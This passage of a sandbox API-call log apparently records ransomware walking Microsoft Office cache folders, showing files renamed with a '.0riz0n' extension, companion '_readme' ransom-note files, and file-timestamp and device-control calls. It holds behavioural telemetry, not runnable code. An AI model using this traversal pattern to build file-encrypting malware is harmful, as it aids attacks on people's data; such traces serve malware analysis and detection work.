ftLastAccessTime.dwLowDateTime=0x2fb48f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc967850, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x29c6dbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordLR.cab.0riz0n", cAlternateFileName="")) returned 1 [0140.447] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0140.447] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0140.447] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ffc90b0, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x3ffc90b0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xfc967850, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x442, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordLR.cab.0riz0n_readme", cAlternateFileName="")) returned 1 [0140.447] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0140.447] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0140.447] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0140.447] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0140.447] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x267e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.msi.0riz0n", cAlternateFileName="")) returned 1 [0140.447] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0140.447] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0140.447] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x406ed2b0, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x406ed2b0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x456, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.msi.0riz0n_readme", cAlternateFileName="")) returned 1 [0140.447] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0140.447] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0140.447] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0140.447] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0140.447] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.xml.0riz0n", cAlternateFileName="")) returned 1 [0140.447] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0140.447] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0140.447] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x40713410, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x40713410, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x44a, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.xml.0riz0n_readme", cAlternateFileName="")) returned 1 [0140.447] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0140.447] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0140.447] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0140.447] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0140.447] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x40713410, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x40713410, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x44a, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.xml.0riz0n_readme", cAlternateFileName="")) returned 0 [0140.447] GetLastError () returned 0x12 [0140.447] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f194, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f194) returned 0x829b38 [0140.447] FindClose (in: hFindFile=0x829b78 | out: hFindFile=0x829b78) returned 1 [0140.448] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x40713410, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x40713410, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.448] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.0riz0n", cAlternateFileName="")) returned 1 [0140.448] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e08aff0, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x3e08aff0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x44a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.0riz0n_readme", cAlternateFileName="")) returned 1 [0140.448] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fb48f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2fb48f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc967850, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x29c6dbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordLR.cab.0riz0n", cAlternateFileName="")) returned 1 [0140.448] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ffc90b0, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x3ffc90b0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xfc967850, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x442, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordLR.cab.0riz0n_readme", cAlternateFileName="")) returned 1 [0140.448] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x267e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.msi.0riz0n", cAlternateFileName="")) returned 1 [0140.448] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x406ed2b0, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x406ed2b0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x456, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.msi.0riz0n_readme", cAlternateFileName="")) returned 1 [0140.448] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.xml.0riz0n", cAlternateFileName="")) returned 1 [0140.448] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x40713410, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x40713410, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x44a, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.xml.0riz0n_readme", cAlternateFileName="")) returned 1 [0140.448] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x40713410, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x40713410, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x44a, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.xml.0riz0n_readme", cAlternateFileName="")) returned 0 [0140.448] GetLastError () returned 0x12 [0140.448] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x983ae8) returned 1 [0140.448] FindClose (in: hFindFile=0x829b38 | out: hFindFile=0x829b38) returned 1 [0140.449] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0140.449] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9839e0) returned 1 [0140.449] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x40843f10, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x40843f10, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-002C-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0140.449] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0140.449] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x1a7f348 | out: lpFileInformation=0x1a7f348*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x40843f10, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x40843f10, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0140.502] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0140.502] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7f38c, lpLastWriteTime=0x1a7f38c) returned 0 [0140.502] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x989690 [0140.502] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x989690, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0 | out: lpOutBuffer=0x989690, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0) returned 0 [0140.502] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x989690) returned 1 [0140.502] NtClose (Handle=0x198) returned 0x0 [0140.502] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0140.502] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0140.502] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0140.502] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x9839e0 [0140.502] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0140.502] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x983ae8 [0140.502] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f194, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f194) returned 0x829b38 [0140.551] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x40843f10, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x40843f10, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.552] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x4187b4f0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x4187b4f0, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.en", cAlternateFileName="")) returned 1 [0140.552] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x427ce290, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x427ce290, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.es", cAlternateFileName="")) returned 1 [0140.552] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x43a66e70, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x43a66e70, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.fr", cAlternateFileName="")) returned 1 [0140.552] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x40650500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x40650500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf0126df0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.msi.0riz0n", cAlternateFileName="")) returned 1 [0140.553] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0140.553] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0140.553] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x407f7c50, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x407f7c50, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xf0126df0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x456, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.msi.0riz0n_readme", cAlternateFileName="")) returned 1 [0140.553] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0140.553] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0140.553] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0140.553] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0140.553] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x32b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.xml.0riz0n", cAlternateFileName="")) returned 1 [0140.553] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0140.553] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0140.553] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4081ddb0, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x4081ddb0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x446, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.xml.0riz0n_readme", cAlternateFileName="")) returned 1 [0140.553] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0140.553] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0140.553] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0140.553] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0140.553] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.0riz0n", cAlternateFileName="")) returned 1 [0140.553] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0140.553] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0140.553] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x40843f10, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x40843f10, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x446, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.0riz0n_readme", cAlternateFileName="")) returned 1 [0140.553] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0140.553] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0140.553] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0140.553] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0140.553] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x40843f10, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x40843f10, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x446, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.0riz0n_readme", cAlternateFileName="")) returned 0 [0140.553] GetLastError () returned 0x12 [0140.553] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f194, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f194) returned 0x829b78 [0140.553] FindClose (in: hFindFile=0x829b38 | out: hFindFile=0x829b38) returned 1 [0140.554] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x40843f10, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x40843f10, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.554] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x4187b4f0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x4187b4f0, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.en", cAlternateFileName="")) returned 1 [0140.554] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x983bf0 [0140.554] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0140.554] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x9869e8 [0140.554] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en"), fInfoLevelId=0x0, lpFileInformation=0x1a7f090 | out: lpFileInformation=0x1a7f090*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x4187b4f0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x4187b4f0, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0140.554] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0140.554] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0140.554] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x989690 [0140.554] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x989690, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0x989690, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0140.554] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x989690) returned 